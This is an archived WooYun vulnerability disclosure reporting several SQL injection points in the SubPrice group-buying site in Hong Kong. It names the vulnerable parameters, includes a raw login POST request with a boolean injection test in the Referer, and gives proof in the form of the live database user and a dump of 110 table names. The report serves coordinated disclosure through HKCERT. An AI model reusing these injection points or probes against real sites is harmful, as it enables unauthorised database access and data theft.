当前位置：WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：wooyun-2015-0154597

漏洞标题：SubPrice團購網主站存在多处SQL注入（香港地區）

相关厂商：SubPrice團購網

漏洞作者： 路人甲

提交时间：2015-11-20 17:09

修复时间：2016-01-11 15:32

公开时间：2016-01-11 15:32

漏洞类型：SQL注射漏洞

危害等级：高

自评Rank：15

漏洞状态：已交由第三方合作机构(hkcert香港互联网应急协调中心)处理

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

4人收藏 收藏
分享漏洞：

漏洞详情

披露状态：

2015-11-20： 细节已通知厂商并且等待厂商处理中
2015-11-24： 厂商已经确认，细节仅向厂商公开
2015-12-04： 细节向核心白帽子及相关领域专家公开
2015-12-14： 细节向普通白帽子公开
2015-12-24： 细节向实习白帽子公开
2016-01-11： 细节向公众公开

简要描述：

SubPrice團購網主站存在多处SQL注入

详细说明：

http://**.**.**.**/index.php?m=Goods&a=index&cate_id=43
参数cate_id

11.png


http://**.**.**.**/index.php?m=Goods&a=show&suppliers_id=90&id=1595
参数suppliers_id

12.png


登陆处注入

13.png


POST /index.php HTTP/1.1
Host: **.**.**.**
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:42.0) Gecko/20100101 Firefox/42.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Referer: http://**.**.**.**/index.php?m=Goods&a=show&suppliers_id=90&id=1595%20and%201=2
Cookie: PHPSESSID=1n7viqb5db3rmh8enapshjucq4
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 87
email=aaaa&user_pwd=aaaa&redirect=&goods_id=&m=User&a=doLogin&commit=%E7%99%BB%E9%8C%84


14.png

漏洞证明：

current user:    'subprice_db@localhost'
current database:    'subprice_db'


Database: subprice_db
[110 tables]
+---------------------------------------+
| fanwe_admin                           |
| fanwe_admin_city                      |
| fanwe_adv                             |
| fanwe_adv_position                    |
| fanwe_ajax_send                       |
| fanwe_article                         |
| fanwe_article_cate                    |
| fanwe_attachment                      |
| fanwe_attachment_link                 |
| fanwe_brand                           |
| fanwe_cart                            |
| fanwe_cart_card                       |
| fanwe_collect                         |
| fanwe_coupon                          |
| fanwe_coupon_region                   |
| fanwe_coupon_send_log                 |
| fanwe_currency                        |
| fanwe_delivery                        |
| fanwe_delivery_region                 |
| fanwe_ecv                             |
| fanwe_ecv_type                        |
| fanwe_email_tool                      |
| fanwe_express                         |
| fanwe_goods                           |
| fanwe_goods_attr                      |
| fanwe_goods_cate                      |
| fanwe_goods_gallery                   |
| fanwe_goods_reviews                   |
| fanwe_goods_spec                      |
| fanwe_goods_spec_gallery              |
| fanwe_goods_spec_item                 |
| fanwe_goods_type                      |
| fanwe_goods_type_attr                 |
| fanwe_group_bond                      |
| fanwe_group_city                      |
| fanwe_group_message                   |
| fanwe_group_message_follow            |
| fanwe_keywords                        |
| fanwe_lang_conf                       |
| fanwe_layout                          |
| fanwe_link                            |
| fanwe_log                             |
| fanwe_lottery                         |
| fanwe_lottery_goods                   |
| fanwe_lottery_items                   |
| fanwe_lottery_no                      |
| fanwe_lottery_settings                |
| fanwe_lottery_user                    |
| fanwe_lottery_user_group              |
| fanwe_mail_address_list               |
| fanwe_mail_address_send_list          |
| fanwe_mail_list                       |
| fanwe_mail_send_list                  |
| fanwe_mail_template                   |
| fanwe_message                         |
| fanwe_nav                             |
| fanwe_order                           |
| fanwe_order_consignment               |
| fanwe_order_consignment_goods         |
| fanwe_order_goods                     |
| fanwe_order_incharge                  |
| fanwe_order_log                       |
| fanwe_order_promote                   |
| fanwe_order_re_consignment            |
| fanwe_order_re_consignment_goods      |
| fanwe_order_uncharge                  |
| fanwe_payment                         |
| fanwe_payment_log                     |
| fanwe_payment_money_log               |
| fanwe_promote                         |
| fanwe_promote_card                    |
| fanwe_promote_child                   |
| fanwe_promote_user_card               |
| fanwe_promote_user_group              |
| fanwe_referrals                       |
| fanwe_region_conf                     |
| fanwe_role                            |
| fanwe_role_access                     |
| fanwe_role_nav                        |
| fanwe_role_node                       |
| fanwe_send_list                       |
| fanwe_sms                             |
| fanwe_sms_mobile_verify               |
| fanwe_sms_send                        |
| fanwe_sms_send_log                    |
| fanwe_sms_subscribe                   |
| fanwe_smtp                            |
| fanwe_spec                            |
| fanwe_spec_type                       |
| fanwe_supplier_goods                  |
| fanwe_suppliers                       |
| fanwe_suppliers_cate                  |
| fanwe_suppliers_depart                |
| fanwe_sys_conf                        |
| fanwe_user                            |
| fanwe_user_consignee                  |
| fanwe_user_extend                     |
| fanwe_user_field                      |
| fanwe_user_group                      |
| fanwe_user_group_price                |
| fanwe_user_incharge                   |
| fanwe_user_money_log                  |
| fanwe_user_score_log                  |
| fanwe_user_uncharge                   |
| fanwe_vote                            |
| fanwe_vote_group                      |
| fanwe_vote_input                      |
| fanwe_vote_item                       |
| fanwe_vote_option                     |
| fanwe_weight                          |
+---------------------------------------+
Database: information_schema
[65 tables]
+---------------------------------------+
| CHARACTER_SETS                        |
| CLIENT_STATISTICS                     |
| COLLATIONS                            |
| COLLATION_CHARACTER_SET_APPLICABILITY |
| COLUMNS                               |
| COLUMN_PRIVILEGES                     |
| ENGINES                               |
| EVENTS                                |
| FILES                                 |
| GLOBAL_STATUS                         |
| GLOBAL_TEMPORARY_TABLES               |
| GLOBAL_VARIABLES                      |
| INDEX_STATISTICS                      |
| INNODB_BUFFER_PAGE                    |
| INNODB_BUFFER_PAGE_LRU                |
| INNODB_BUFFER_POOL_PAGES              |
| INNODB_BUFFER_POOL_PAGES_BLOB         |
| INNODB_BUFFER_POOL_PAGES_INDEX        |
| INNODB_BUFFER_POOL_STATS              |
| INNODB_CHANGED_PAGES                  |
| INNODB_CMP                            |
| INNODB_CMPMEM                         |
| INNODB_CMPMEM_RESET                   |
| INNODB_CMP_RESET                      |
| INNODB_INDEX_STATS                    |
| INNODB_LOCKS                          |
| INNODB_LOCK_WAITS                     |
| INNODB_RSEG                           |
| INNODB_SYS_COLUMNS                    |
| INNODB_SYS_FIELDS                     |
| INNODB_SYS_FOREIGN                    |
| INNODB_SYS_FOREIGN_COLS               |
| INNODB_SYS_INDEXES                    |
| INNODB_SYS_STATS                      |
| INNODB_SYS_TABLES                     |
| INNODB_SYS_TABLESTATS                 |
| INNODB_TABLE_STATS                    |
| INNODB_TRX                            |
| INNODB_UNDO_LOGS                      |
| KEY_COLUMN_USAGE                      |
| PARAMETERS                            |
| PARTITIONS                            |
| PLUGINS                               |
| PROCESSLIST                           |
| PROFILING                             |
| QUERY_RESPONSE_TIME                   |
| REFERENTIAL_CONSTRAINTS               |
| ROUTINES                              |
| SCHEMATA                              |
| SCHEMA_PRIVILEGES                     |
| SESSION_STATUS                        |
| SESSION_VARIABLES                     |
| STATISTICS                            |
| TABLES                                |
| TABLESPACES                           |
| TABLE_CONSTRAINTS                     |
| TABLE_PRIVILEGES                      |
| TABLE_STATISTICS                      |
| TEMPORARY_TABLES                      |
| THREAD_STATISTICS                     |
| TRIGGERS                              |
| USER_PRIVILEGES                       |
| USER_STATISTICS                       |
| VIEWS                                 |
| XTRADB_ADMIN_COMMAND                  |
+---------------------------------------+

修复方案：

NULL

版权声明：转载请注明来源 路人甲@乌云

漏洞回应

厂商回应：

危害等级：中

漏洞Rank：5

确认时间：2015-11-24 12:18

厂商回复：

Referred to related parties.

最新状态：

暂无